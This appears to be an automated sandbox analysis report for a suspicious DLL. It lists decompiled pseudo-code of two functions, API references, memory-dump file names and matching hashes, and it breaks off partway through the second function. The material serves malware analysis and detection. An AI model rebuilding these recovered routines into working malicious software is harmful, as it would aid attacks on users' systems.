0x6c4dc672
0x6c4dc677
0x6c4dc677
0x6c4dc67c
0x6c4dc680
0x6c4dc680

APIs

LoadLibraryW.KERNEL32 ref: 6C4DC608
memset.MSVCRT ref: 6C4DC647

Strings

dll, xrefs: 6C4DC5CA
%08x, xrefs: 6C4DC571

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoadmemset
String ID: %08x$dll
API String ID: 3406617148-2963171978
Opcode ID: b37fe2f095a05647dfe2f2ce04f0c4cf194a41c03b21d9e83bd99aa0ed3d4bb3
Instruction ID: b41d2720fd2bc2dd22b1394bd1b991593fb5c41ea7fcf1ce0bb45197aacd7f1e
Opcode Fuzzy Hash: b37fe2f095a05647dfe2f2ce04f0c4cf194a41c03b21d9e83bd99aa0ed3d4bb3
Instruction Fuzzy Hash: 8831E4B2A00204ABEB40FB64CCA4F9A33BCEB4E319F534429F404D7681DB74AD4587A9

Uniqueness

Uniqueness Score: -1.00%

Function 6C4E2DB0, Relevance: 6.6, APIs: 5, Instructions: 341
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E6C4E2DB0(int _a4, signed int _a8) {
				int _v8;
				intOrPtr _v12;
				signed int _v16;
				void* __esi;
				void* _t137;
				signed int _t141;
				intOrPtr* _t142;
				signed int _t145;
				signed int _t146;
				intOrPtr _t151;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t167;
				intOrPtr _t170;
				signed int _t172;
				intOrPtr _t173;
				int _t184;
				intOrPtr _t185;
				intOrPtr _t188;
				signed int _t189;
				void* _t195;
				int _t202;
				int _t208;
				intOrPtr _t217;
				signed int _t218;
				int _t219;
				intOrPtr _t220;
				signed int _t221;
				signed int _t222;
				int _t224;
				int _t225;
				signed int _t227;
				intOrPtr _t228;
				int _t232;
				int _t234;
				signed int _t235;
				int _t239;
				void* _t240;
				int _t245;
				int _t252;
				signed int _t253;
				int _t254;
				void* _t257;
				void* _t258;
				int _t259;
				intOrPtr _t260;
				int _t261;
				signed int _t269;
				signed int _t271;
				intOrPtr* _t272;
				void* _t273;

				_t253 = _a8;
				_t272 = _a4;
				_t3 = _t272 + 0xc; // 0x452bf84d
				_t4 = _t272 + 0x2c; // 0x8df075ff
				_t228 =  *_t4;
				_t137 =  *_t3 + 0xfffffffb;
				_t229 =  <=  ? _t137 : _t228;
				_v16 =  <=  ? _t137 : _t228;
				_t269 = 0;
				_a4 =  *((intOrPtr*)( *_t272 + 4));
				asm("o16 nop [eax+eax]");
				while(1) {
					_t8 = _t272 + 0x16bc; // 0xec8b55c3
					_t141 =  *_t8 + 0x2a >> 3;
					_v12 = 0xffff;
					_t217 =  *((intOrPtr*)( *_t272 + 0x10));
					if(_t217 < _t141) {
						break;
					}
					_t11 = _t272 + 0x6c; // 0xa1ec8b55
					_t12 = _t272 + 0x5c; // 0x23e85000
					_t245 =  *_t11 -  *_t12;
					_v8 = _t245;
					_t195 =  *((intOrPtr*)( *_t272 + 4)) + _t245;
					_t247 =  <  ? _t195 : _v12;
					_t227 =  <=  ?  <  ? _t195 : _v12 : _t217 - _t141;
					if(_t227 >= _v16) {
						L7:
						if(_t253 != 4) {
							L10:
							_t269 = 0;
							__eflags = 0;
						} else {
							_t285 = _t227 - _t195;
							if(_t227 != _t195) {
								goto L10;
							} else {
								_t269 = _t253 - 3;
							}
						}
						E6C4E5DD0(_t272, _t272, 0, 0, _t269);
						_t18 = _t272 + 0x14; // 0xc703f045
						_t19 = _t272 + 8; // 0x8d000040
						 *( *_t18 +  *_t19 - 4) = _t227;
						_t22 = _t272 + 0x14; // 0xc703f045
						_t23 = _t272 + 8; // 0x8d000040
						 *((char*)( *_t22 +  *_t23 - 3)) = _t227 >> 8;
						_t26 = _t272 + 0x14; // 0xc703f045
						_t27 = _t272 + 8; // 0x8d000040
						 *( *_t26 +  *_t27 - 2) =  !_t227;
						_t30 = _t272 + 0x14; // 0xc703f045
						_t31 = _t272 + 8; // 0x8d000040
						 *((char*)( *_t30 +  *_t31 - 1)) =  !_t227 >> 8;
						E6C4E4B30(_t285,  *_t272);
						_t202 = _v8;
						_t273 = _t273 + 0x14;
						if(_t202 != 0) {
							_t208 =  >  ? _t227 : _t202;
							_v8 = _t208;
							_t36 = _t272 + 0x38; // 0xf47d8bff
							_t37 = _t272 + 0x5c; // 0x23e85000
							memcpy( *( *_t272 + 0xc),  *_t36 +  *_t37, _t208);
							_t273 = _t273 + 0xc;
							_t252 = _v8;
							 *( *_t272 + 0xc) =  *( *_t272 + 0xc) + _t252;
							 *((intOrPtr*)( *_t272 + 0x10)) =  *((intOrPtr*)( *_t272 + 0x10)) - _t252;
							 *((intOrPtr*)( *_t272 + 0x14)) =  *((intOrPtr*)( *_t272 + 0x14)) + _t252;
							 *(_t272 + 0x5c) =  *(_t272 + 0x5c) + _t252;
							_t227 = _t227 - _t252;
						}
						if(_t227 != 0) {
							E6C4E4C70( *_t272,  *( *_t272 + 0xc), _t227);
							_t273 = _t273 + 0xc;
							 *( *_t272 + 0xc) =  *( *_t272 + 0xc) + _t227;
							 *((intOrPtr*)( *_t272 + 0x10)) =  *((intOrPtr*)( *_t272 + 0x10)) - _t227;
							 *((intOrPtr*)( *_t272 + 0x14)) =  *((intOrPtr*)( *_t272 + 0x14)) + _t227;
						}
						_t253 = _a8;
						if(_t269 == 0) {
							continue;
						}
					} else {
						if(_t227 != 0 || _t253 == 4) {
							if(_t253 != 0 && _t227 == _t195) {
								goto L7;
							}
						}
					}
					break;
				}
				_t142 =  *_t272;
				_t232 = _a4 -  *((intOrPtr*)(_t142 + 4));
				_a4 = _t232;
				if(_t232 == 0) {
					_t83 = _t272 + 0x6c; // 0xa1ec8b55
					_t254 =  *_t83;
				} else {
					_t59 = _t272 + 0x2c; // 0x8df075ff
					_t224 =  *_t59;
					if(_t232 < _t224) {
						_t65 = _t272 + 0x3c; // 0x830cc483
						_t66 = _t272 + 0x6c; // 0xa1ec8b55
						_t260 =  *_t66;
						__eflags =  *_t65 - _t260 - _t232;
						if( *_t65 - _t260 <= _t232) {
							_t67 = _t272 + 0x38; // 0xf47d8bff
							_t261 = _t260 - _t224;
							 *(_t272 + 0x6c) = _t261;
							memcpy( *_t67,  *_t67 + _t224, _t261);
							_t70 = _t272 + 0x16b0; // 0x7e89ffff
							_t188 =  *_t70;
							_t273 = _t273 + 0xc;
							_t232 = _a4;
							__eflags = _t188 - 2;
							if(_t188 < 2) {
								_t189 = _t188 + 1;
								__eflags = _t189;
								 *(_t272 + 0x16b0) = _t189;
							}
						}
						_t73 = _t272 + 0x38; // 0xf47d8bff
						_t74 = _t272 + 0x6c; // 0xa1ec8b55
						memcpy( *_t73 +  *_t74,  *((intOrPtr*)( *_t272)) - _t232, _t232);
						_t225 = _a4;
						_t273 = _t273 + 0xc;
						_t76 = _t272 + 0x6c;
						 *_t76 =  *(_t272 + 0x6c) + _t225;
						__eflags =  *_t76;
						_t78 = _t272 + 0x6c; // 0xa1ec8b55
						_t184 =  *_t78;
						_t79 = _t272 + 0x2c; // 0x8df075ff
						_t239 =  *_t79;
					} else {
						 *(_t272 + 0x16b0) = 2;
						_t61 = _t272 + 0x38; // 0xf47d8bff
						memcpy( *_t61,  *_t142 - _t224, _t224);
						_t62 = _t272 + 0x2c; // 0x8df075ff
						_t184 =  *_t62;
						_t273 = _t273 + 0xc;
						_t225 = _a4;
						_t239 = _t184;
						 *(_t272 + 0x6c) = _t184;
					}
					_t254 = _t184;
					 *(_t272 + 0x5c) = _t184;
					_t81 = _t272 + 0x16b4; // 0x3c468b3c
					_t185 =  *_t81;
					_t240 = _t239 - _t185;
					_t241 =  <=  ? _t225 : _t240;
					_t242 = ( <=  ? _t225 : _t240) + _t185;
					 *((intOrPtr*)(_t272 + 0x16b4)) = ( <=  ? _t225 : _t240) + _t185;
				}
				if( *(_t272 + 0x16c0) < _t254) {
					 *(_t272 + 0x16c0) = _t254;
				}
				if(_t269 == 0) {
					_t218 = _a8;
					__eflags = _t218;
					if(_t218 == 0) {
						L34:
						_t89 = _t272 + 0x3c; // 0x830cc483
						_t219 =  *_t272;
						_t145 =  *_t89 - _t254 - 1;
						_a4 =  *_t272;
						_t234 = _t254;
						_v16 = _t145;
						_v8 = _t254;
						__eflags =  *((intOrPtr*)(_t219 + 4)) - _t145;
						if( *((intOrPtr*)(_t219 + 4)) > _t145) {
							_v8 = _t254;
							_t95 = _t272 + 0x5c; // 0x23e85000
							_a4 = _t219;
							_t234 = _t254;
							_t97 = _t272 + 0x2c; // 0x8df075ff
							__eflags =  *_t95 -  *_t97;
							if( *_t95 >=  *_t97) {
								_t98 = _t272 + 0x2c; // 0x8df075ff
								_t167 =  *_t98;
								_t259 = _t254 - _t167;
								_t99 = _t272 + 0x38; // 0xf47d8bff
								 *(_t272 + 0x5c) =  *(_t272 + 0x5c) - _t167;
								 *(_t272 + 0x6c) = _t259;
								memcpy( *_t99, _t167 +  *_t99, _t259);
								_t103 = _t272 + 0x16b0; // 0x7e89ffff
								_t170 =  *_t103;
								_t273 = _t273 + 0xc;
								__eflags = _t170 - 2;
								if(_t170 < 2) {
									_t172 = _t170 + 1;
									__eflags = _t172;
									 *(_t272 + 0x16b0) = _t172;
								}
								_t106 = _t272 + 0x2c; // 0x8df075ff
								_t145 = _v16 +  *_t106;
								__eflags = _t145;
								_a4 =  *_t272;
								_t108 = _t272 + 0x6c; // 0xa1ec8b55
								_t234 =  *_t108;
								_v8 = _t234;
							}
						}
						_t111 = _a4 + 4; // 0x0
						_t220 =  *_t111;
						__eflags = _t145 - _t220;
						_t221 =  <=  ? _t145 : _t220;
						_t146 = _t221;
						_a4 = _t221;
						_t222 = _a8;
						__eflags = _t146;
						if(_t146 != 0) {
							_t114 = _t272 + 0x38; // 0xf47d8bff
							E6C4E4C70(_t255,  *_t114 + _v8, _t146);
							_t273 = _t273 + 0xc;
							_t117 = _t272 + 0x6c;
							 *_t117 =  *(_t272 + 0x6c) + _a4;
							__eflags =  *_t117;
							_t119 = _t272 + 0x6c; // 0xa1ec8b55
							_t234 =  *_t119;
						}
						__eflags =  *(_t272 + 0x16c0) - _t234;
						if( *(_t272 + 0x16c0) < _t234) {
							 *(_t272 + 0x16c0) = _t234;
						}
						_t122 = _t272 + 0x16bc; // 0xec8b55c3
						_t123 = _t272 + 0xc; // 0x452bf84d
						_t257 =  *_t123 - ( *_t122 + 0x2a >> 3);
						__eflags = _t257 - 0xffff;
						_t258 =  >  ? 0xffff : _t257;
						_t124 = _t272 + 0x2c; // 0x8df075ff
						_t151 =  *_t124;
						_t125 = _t272 + 0x5c; // 0x23e85000
						_t235 = _t234 -  *_t125;
						__eflags = _t258 - _t151;
						_t152 =  <=  ? _t258 : _t151;
						__eflags = _t235 - ( <=  ? _t258 : _t151);
						if(_t235 >= ( <=  ? _t258 : _t151)) {
							L49:
							__eflags = _t235 - _t258;
							_t154 =  >  ? _t258 : _t235;
							_a4 =  >  ? _t258 : _t235;
							__eflags = _t222 - 4;
							if(_t222 != 4) {
								L53:
								_t269 = 0;
								__eflags = 0;
							} else {
								_t161 =  *_t272;
								__eflags =  *(_t161 + 4);
								_t154 = _a4;
								if( *(_t161 + 4) != 0) {
									goto L53;
								} else {
									__eflags = _t154 - _t235;
									if(_t154 != _t235) {
										goto L53;
									} else {
										_t269 = _t222 - 3;
									}
								}
							}
							_t131 = _t272 + 0x38; // 0xf47d8bff
							_t132 = _t272 + 0x5c; // 0x23e85000
							E6C4E5DD0(_t272, _t272,  *_t131 +  *_t132, _t154, _t269);
							_t134 = _t272 + 0x5c;
							 *_t134 =  *(_t272 + 0x5c) + _a4;
							__eflags =  *_t134;
							E6C4E4B30( *_t134,  *_t272);
						} else {
							__eflags = _t235;
							if(_t235 != 0) {
								L46:
								__eflags = _t222;
								if(_t222 != 0) {
									_t162 =  *_t272;
									__eflags =  *(_t162 + 4);
									if( *(_t162 + 4) == 0) {
										__eflags = _t235 - _t258;
										if(_t235 <= _t258) {
											goto L49;
										}
									}
								}
							} else {
								__eflags = _t222 - 4;
								if(_t222 == 4) {
									goto L46;
								}
							}
						}
						asm("sbb edi, edi");
						_t271 =  ~_t269 & 0x00000002;
						__eflags = _t271;
						return _t271;
					} else {
						__eflags = _t218 - 4;
						if(_t218 == 4) {
							goto L34;
						} else {
							_t173 =  *_t272;
							__eflags =  *(_t173 + 4);
							if( *(_t173 + 4) != 0) {
								goto L34;
							} else {
								_t88 = _t272 + 0x5c; // 0x23e85000
								__eflags = _t254 -  *_t88;
								if(_t254 !=  *_t88) {
									goto L34;
								} else {
									return 1;
								}
							}
						}
					}
				} else {
					return 3;
				}
			}

0x6c4e2db6
0x6c4e2dbb
0x6c4e2dbf
0x6c4e2dc2
0x6c4e2dc2
0x6c4e2dc5
0x6c4e2dca
0x6c4e2dcf
0x6c4e2dd2
0x6c4e2dd7
0x6c4e2dda
0x6c4e2de0
0x6c4e2de0
0x6c4e2deb
0x6c4e2dee
0x6c4e2df5
0x6c4e2dfa
0x00000000
0x00000000
0x6c4e2e00
0x6c4e2e05
0x6c4e2e05
0x6c4e2e0a
0x6c4e2e10
0x6c4e2e1a
0x6c4e2e1f
0x6c4e2e25
0x6c4e2e44
0x6c4e2e47
0x6c4e2e52
0x6c4e2e52
0x6c4e2e52
0x6c4e2e49
0x6c4e2e49
0x6c4e2e4b
0x00000000
0x6c4e2e4d
0x6c4e2e4d
0x6c4e2e4d
0x6c4e2e4b
0x6c4e2e5a
0x6c4e2e5f
0x6c4e2e64
0x6c4e2e6a
0x6c4e2e6e
0x6c4e2e71
0x6c4e2e74
0x6c4e2e7a
0x6c4e2e7f
0x6c4e2e82
0x6c4e2e88
0x6c4e2e8d
0x6c4e2e93
0x6c4e2e99
0x6c4e2e9e
0x6c4e2ea1
0x6c4e2ea6
0x6c4e2eaa
0x6c4e2eae
0x6c4e2eb1
0x6c4e2eb4
0x6c4e2ebd
0x6c4e2ec4
0x6c4e2ec7
0x6c4e2eca
0x6c4e2ecf
0x6c4e2ed4
0x6c4e2ed7
0x6c4e2eda
0x6c4e2eda
0x6c4e2ede
0x6c4e2ee7
0x6c4e2eee
0x6c4e2ef1
0x6c4e2ef6
0x6c4e2efb
0x6c4e2efb
0x6c4e2efe
0x6c4e2f03
0x00000000
0x00000000
0x6c4e2e27
0x6c4e2e29
0x6c4e2e36
0x00000000
0x00000000
0x6c4e2e36
0x6c4e2e29
0x00000000
0x6c4e2e25
0x6c4e2f09
0x6c4e2f0e
0x6c4e2f11
0x6c4e2f14
0x6c4e2fbf
0x6c4e2fbf
0x6c4e2f1a
0x6c4e2f1a
0x6c4e2f1a
0x6c4e2f1f
0x6c4e2f49
0x6c4e2f4c
0x6c4e2f4c
0x6c4e2f51
0x6c4e2f53
0x6c4e2f55
0x6c4e2f58
0x6c4e2f5b
0x6c4e2f63
0x6c4e2f68
0x6c4e2f68
0x6c4e2f6e
0x6c4e2f71
0x6c4e2f74
0x6c4e2f77
0x6c4e2f79
0x6c4e2f79
0x6c4e2f7a
0x6c4e2f7a
0x6c4e2f77
0x6c4e2f88
0x6c4e2f8b
0x6c4e2f8f
0x6c4e2f94
0x6c4e2f97
0x6c4e2f9a
0x6c4e2f9a
0x6c4e2f9a
0x6c4e2f9d
0x6c4e2f9d
0x6c4e2fa0
0x6c4e2fa0
0x6c4e2f21
0x6c4e2f21
0x6c4e2f31
0x6c4e2f34
0x6c4e2f39
0x6c4e2f39
0x6c4e2f3c
0x6c4e2f3f
0x6c4e2f42
0x6c4e2f44
0x6c4e2f44
0x6c4e2fa3
0x6c4e2fa5
0x6c4e2fa8
0x6c4e2fa8
0x6c4e2fae
0x6c4e2fb2
0x6c4e2fb5
0x6c4e2fb7
0x6c4e2fb7
0x6c4e2fc8
0x6c4e2fca
0x6c4e2fca
0x6c4e2fd2
0x6c4e2fe0
0x6c4e2fe3
0x6c4e2fe5
0x6c4e3005
0x6c4e3005
0x6c4e3008
0x6c4e300e
0x6c4e300f
0x6c4e3012
0x6c4e3014
0x6c4e3017
0x6c4e301a
0x6c4e301d
0x6c4e3021
0x6c4e3024
0x6c4e3027
0x6c4e302a
0x6c4e302c
0x6c4e302c
0x6c4e302f
0x6c4e3031
0x6c4e3031
0x6c4e3034
0x6c4e3036
0x6c4e3039
0x6c4e3041
0x6c4e3044
0x6c4e3049
0x6c4e3049
0x6c4e304f
0x6c4e3052
0x6c4e3055
0x6c4e3057
0x6c4e3057
0x6c4e3058
0x6c4e3058
0x6c4e3063
0x6c4e3063
0x6c4e3063
0x6c4e3066
0x6c4e3069
0x6c4e3069
0x6c4e306c
0x6c4e306c
0x6c4e302f
0x6c4e3072
0x6c4e3072
0x6c4e3075
0x6c4e3077
0x6c4e307a
0x6c4e307c
0x6c4e307f
0x6c4e3082
0x6c4e3084
0x6c4e3087
0x6c4e308f
0x6c4e3097
0x6c4e309a
0x6c4e309a
0x6c4e309a
0x6c4e309d
0x6c4e309d
0x6c4e309d
0x6c4e30a0
0x6c4e30a6
0x6c4e30a8
0x6c4e30a8
0x6c4e30ae
0x6c4e30b4
0x6c4e30bd
0x6c4e30c4
0x6c4e30c6
0x6c4e30c9
0x6c4e30c9
0x6c4e30cc
0x6c4e30cc
0x6c4e30cf
0x6c4e30d1
0x6c4e30d4
0x6c4e30d6
0x6c4e30f1
0x6c4e30f1
0x6c4e30f5
0x6c4e30f8
0x6c4e30fb
0x6c4e30fe
0x6c4e3114
0x6c4e3114
0x6c4e3114
0x6c4e3100
0x6c4e3100
0x6c4e3102
0x6c4e3106
0x6c4e3109
0x00000000
0x6c4e310b
0x6c4e310b
0x6c4e310d
0x00000000
0x6c4e310f
0x6c4e310f
0x6c4e310f
0x6c4e310d
0x6c4e3109
0x6c4e3118
0x6c4e311b
0x6c4e3120
0x6c4e312a
0x6c4e312a
0x6c4e312a
0x6c4e312d
0x6c4e30d8
0x6c4e30d8
0x6c4e30da
0x6c4e30e1
0x6c4e30e1
0x6c4e30e3
0x6c4e30e5
0x6c4e30e7
0x6c4e30eb
0x6c4e30ed
0x6c4e30ef
0x00000000
0x00000000
0x6c4e30ef
0x6c4e30eb
0x6c4e30dc
0x6c4e30dc
0x6c4e30df
0x00000000
0x00000000
0x6c4e30df
0x6c4e30da
0x6c4e3137
0x6c4e3139
0x6c4e3139
0x6c4e3144
0x6c4e2fe7
0x6c4e2fe7
0x6c4e2fea
0x00000000
0x6c4e2fec
0x6c4e2fec
0x6c4e2fee
0x6c4e2ff2
0x00000000
0x6c4e2ff4
0x6c4e2ff4
0x6c4e2ff4
0x6c4e2ff7
0x00000000
0x6c4e2ffb
0x6c4e3004
0x6c4e3004
0x6c4e2ff7
0x6c4e2ff2
0x6c4e2fea
0x6c4e2fd6
0x6c4e2fdf
0x6c4e2fdf

APIs

memcpy.MSVCRT ref: 6C4E2EBD
memcpy.MSVCRT ref: 6C4E2F34
memcpy.MSVCRT ref: 6C4E2F63
memcpy.MSVCRT ref: 6C4E2F8F
memcpy.MSVCRT ref: 6C4E3044

Part of subcall function 6C4E5DD0: memcpy.MSVCRT ref: 6C4E5EAE

Part of subcall function 6C4E4B30: memcpy.MSVCRT ref: 6C4E4B5A

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 02feba5ad5f49e0a995842d61c8ce91333d91de9632e587c2a68fb90f2e6a76c
Instruction ID: 3fb24f7a36fbbe9dc635afd7f74845a64fc7e4fbfdcac3aa07d39394fbe32069
Opcode Fuzzy Hash: 02feba5ad5f49e0a995842d61c8ce91333d91de9632e587c2a68fb90f2e6a76c
Instruction Fuzzy Hash: 6FD10371604A019FC724CF69C8C4E5AB7F1EF8835AB258A2DE88AC7B15D731E944CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6C4D4D60, Relevance: 6.4, APIs: 4, Instructions: 432
stringCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E6C4D4D60(intOrPtr* __ecx, void* __edx, void* __fp0) {
				char _v516;
				char _v556;
				char _v564;
				char _v568;
				char _v572;
				char _v576;
				intOrPtr _v580;
				char _v588;
				signed int _v596;
				intOrPtr _v602;
				intOrPtr _v604;
				char _v608;
				CHAR* _v612;
				CHAR* _v616;
				signed int _v620;
				signed int _v624;
				signed int _v628;
				signed int _v632;
				char _v636;
				intOrPtr _t119;
				signed int _t122;
				CHAR* _t124;
				intOrPtr _t125;
				CHAR* _t127;
				WCHAR* _t130;
				intOrPtr _t133;
				intOrPtr _t137;
				WCHAR* _t138;
				intOrPtr _t142;
				WCHAR* _t143;
				CHAR* _t144;
				intOrPtr _t145;
				intOrPtr _t150;
				intOrPtr _t153;
				WCHAR* _t154;
				signed int _t159;
				WCHAR* _t160;
				intOrPtr _t163;
				intOrPtr _t165;
				intOrPtr _t166;
				intOrPtr _t170;
				signed int _t173;
				signed int _t178;
				intOrPtr _t182;
				WCHAR* _t184;
				char _t186;
				WCHAR* _t188;
				intOrPtr _t200;
				intOrPtr _t211;
				signed int _t215;
				char _t220;
				WCHAR* _t231;
				intOrPtr _t235;
				intOrPtr _t238;
				intOrPtr _t239;
				intOrPtr _t246;
				signed int _t248;
				WCHAR* _t249;
				CHAR* _t250;
				intOrPtr _t262;
				void* _t271;
				intOrPtr _t272;
				signed int _t277;
				void* _t278;
				intOrPtr _t280;
				signed int _t282;
				void* _t298;
				void* _t299;
				intOrPtr _t305;
				CHAR* _t326;
				void* _t328;
				WCHAR* _t329;
				intOrPtr _t331;
				WCHAR* _t333;
				signed int _t335;
				intOrPtr* _t337;
				void* _t338;
				void* _t339;
				void* _t353;

				_t353 = __fp0;
				_t337 = (_t335 & 0xfffffff8) - 0x26c;
				_t119 =  *0x6c4ee688; // 0x2130590
				_v620 = _v620 & 0x00000000;
				_t328 = __ecx;
				if(( *(_t119 + 0x1898) & 0x00000082) == 0) {
					L7:
					_t14 = E6C4DB7EA(0x6c4eb9c4,  &_v516) + 1; // 0x1
					E6C4DA8AF( &_v556, _t14, _t351);
					_t298 = 0x64;
					_t122 = E6C4DA4B3( &_v556, _t298);
					 *0x6c4ee748 = _t122;
					if(_t122 != 0) {
						_push(0x4e5);
						_t299 = 0x10;
						 *0x6c4ee680 = E6C4DE1FE(0x6c4eb9c8, _t299);
						 *_t337 = 0x610;
						_t124 = E6C4D95C2(0x6c4eb9c8);
						_push(0);
						_push(_t124);
						_v612 = _t124;
						_t125 =  *0x6c4ee688; // 0x2130590
						_t127 = E6C4D92C6(_t125 + 0x228);
						_t338 = _t337 + 0xc;
						_v616 = _t127;
						E6C4D85B6( &_v612);
						_t130 = E6C4DB2AB(_t127);
						_t246 = 3;
						__eflags = _t130;
						if(_t130 != 0) {
							 *((intOrPtr*)(_t328 + 0x10)) = _t239;
							 *_t328 = _t246;
						}
						E6C4D85FB( &_v616, 0xfffffffe);
						_t133 =  *0x6c4ee688; // 0x2130590
						_t21 = _t133 + 0x110; // 0x21afd98
						_t22 = _t133 + 0x114; // 0x21306a4
						E6C4D49FE( *((intOrPtr*)( *_t21)), _t22, _t353, _t328, 0, 0);
						_t262 =  *0x6c4ee688; // 0x2130590
						_t339 = _t338 + 0x14;
						__eflags =  *((intOrPtr*)(_t262 + 0x101c)) - _t246;
						if( *((intOrPtr*)(_t262 + 0x101c)) == _t246) {
							L17:
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosd");
							_v572 = _t328;
							_t28 = _t262 + 0x214; // 0x2
							_v576 =  *_t28;
							_t137 =  *0x6c4ee680; // 0x0
							_t138 =  *(_t137 + 8);
							__eflags = _t138;
							if(_t138 != 0) {
								 *_t138(0, 0, 1,  &_v568,  &_v564);
							}
							_v620 = _v620 & 0x00000000;
							E6C4DE308(_t353,  &_v576);
							_pop(_t262);
							_t142 =  *0x6c4ee6b4; // 0x21afc48
							_t143 =  *((intOrPtr*)(_t142 + 0x10))(0, 0,  &_v620);
							__eflags = _t143;
							if(_t143 == 0) {
								E6C4DE308(_t353,  &_v588);
								_t235 =  *0x6c4ee6b4; // 0x21afc48
								_pop(_t262);
								 *((intOrPtr*)(_t235 + 0xc))(_v632);
							}
							__eflags =  *0x6c4ee73c;
							if( *0x6c4ee73c <= 0) {
								goto L36;
							} else {
								_t165 =  *0x6c4ee680; // 0x0
								__eflags =  *(_t165 + 8);
								if( *(_t165 + 8) != 0) {
									_t231 =  *(_t165 + 0xc);
									__eflags = _t231;
									if(_t231 != 0) {
										 *_t231(_v580);
									}
								}
								_t166 =  *0x6c4ee688; // 0x2130590
								_t45 = _t166 + 0x214; // 0x2
								_t262 =  *_t45;
								__eflags = _t262 - _t246;
								if(_t262 == _t246) {
									goto L36;
								} else {
									__eflags =  *((intOrPtr*)(_t166 + 4)) - 6;
									if( *((intOrPtr*)(_t166 + 4)) >= 6) {
										__eflags =  *((intOrPtr*)(_t166 + 0x101c)) - _t246;
										if( *((intOrPtr*)(_t166 + 0x101c)) == _t246) {
											E6C4D4998();
											asm("stosd");
											asm("stosd");
											asm("stosd");
											asm("stosd");
											_t170 =  *0x6c4ee684; // 0x21afaa0
											 *((intOrPtr*)(_t170 + 0xd8))( &_v608);
											_t262 = _v602;
											_t248 = 0x3c;
											_t173 = _t262 + 0x00000002 & 0x0000ffff;
											_v596 = _t173;
											_v620 = _t173 / _t248 + _v604 & 0x0000ffff;
											_t178 = _t262 + 0x0000000e & 0x0000ffff;
											_v624 = _t178;
											_v628 = _t178 / _t248 + _v604 & 0x0000ffff;
											_t182 =  *0x6c4ee688; // 0x2130590
											_t184 = E6C4DFC57(_t182 + 0x228, _t178 % _t248, _t353, 0, _t182 + 0x228, 0);
											_t339 = _t339 + 0xc;
											__eflags = _t184;
											if(_t184 >= 0) {
												_t333 = E6C4D85E5(0x1000);
												_v616 = _t333;
												_pop(_t262);
												__eflags = _t333;
												if(_t333 != 0) {
													_t186 = E6C4D109A(_t262, 0x148);
													_t305 =  *0x6c4ee688; // 0x2130590
													_v636 = _t186;
													_push(_t305 + 0x648);
													_push(0xa);
													_push(7);
													_t271 = 2;
													E6C4D900E(_t271,  &_v572);
													_t272 =  *0x6c4ee688; // 0x2130590
													_t92 = _t272 + 0xa0; // 0x1
													_t188 = E6C4D60C0( &_v572, _t272 + 0x228, 1,  *_t92);
													_t339 = _t339 + 0x18;
													_v632 = _t188;
													__eflags = _t188;
													if(_t188 != 0) {
														_push(_v624 % _t248 & 0x0000ffff);
														_push(_v628 & 0x0000ffff);
														_push(_v596 % _t248 & 0x0000ffff);
														_push(_v620 & 0x0000ffff);
														_push(_v632);
														_push( &_v572);
														_t200 =  *0x6c4ee688; // 0x2130590
														__eflags = _t200 + 0x1020;
														E6C4D9621(_t333, 0x1000, _v636, _t200 + 0x1020);
														E6C4D85B6( &_v636);
														E6C4DA953(_t333, 0, 0xbb8, 1);
														E6C4D85FB( &_v632, 0xfffffffe);
														_t339 = _t339 + 0x44;
													}
													E6C4D85FB( &_v616, 0xfffffffe);
													_pop(_t262);
												}
											}
										}
										goto L36;
									}
									__eflags = _t262 - 2;
									if(_t262 != 2) {
										goto L36;
									}
									E6C4D4998();
									asm("stosd");
									asm("stosd");
									asm("stosd");
									asm("stosd");
									_t211 =  *0x6c4ee684; // 0x21afaa0
									 *((intOrPtr*)(_t211 + 0xd8))( &_v608);
									_t215 = _v602 + 0x00000002 & 0x0000ffff;
									_v628 = _t215;
									_t277 = 0x3c;
									_v632 = _t215 / _t277 + _v604 & 0x0000ffff;
									_t249 = E6C4D85E5(0x1000);
									_v624 = _t249;
									_pop(_t278);
									__eflags = _t249;
									if(_t249 != 0) {
										_t220 = E6C4D95C2(_t278, 0x32d);
										_t280 =  *0x6c4ee688; // 0x2130590
										_push(_t280 + 0x228);
										_t282 = 0x3c;
										_v636 = _t220;
										_push(_v628 % _t282 & 0x0000ffff);
										E6C4D9621(_t249, 0x1000, _t220, _v632 & 0x0000ffff);
										E6C4D85B6( &_v636);
										E6C4DA953(_t249, 0, 0xbb8, 1);
										E6C4D85FB( &_v624, 0xfffffffe);
									}
									goto L41;
								}
							}
						} else {
							_t24 = _t262 + 0x214; // 0x2
							_t238 =  *_t24;
							__eflags = _t238 - _t246;
							if(_t238 == _t246) {
								goto L17;
							}
							__eflags =  *((intOrPtr*)(_t262 + 4)) - 6;
							if( *((intOrPtr*)(_t262 + 4)) >= 6) {
								L36:
								_t144 = E6C4D95C2(_t262, 0x610);
								_push(0);
								_push(_t144);
								_v616 = _t144;
								_t145 =  *0x6c4ee688; // 0x2130590
								_t329 = E6C4D92C6(_t145 + 0x228);
								_v612 = _t329;
								__eflags = _t329;
								if(_t329 != 0) {
									_t160 = E6C4DB2AB(_t329);
									__eflags = _t160;
									if(_t160 != 0) {
										_t163 =  *0x6c4ee684; // 0x21afaa0
										 *((intOrPtr*)(_t163 + 0x10c))(_t329);
									}
									E6C4D85FB( &_v612, 0xfffffffe);
								}
								E6C4D85B6( &_v616);
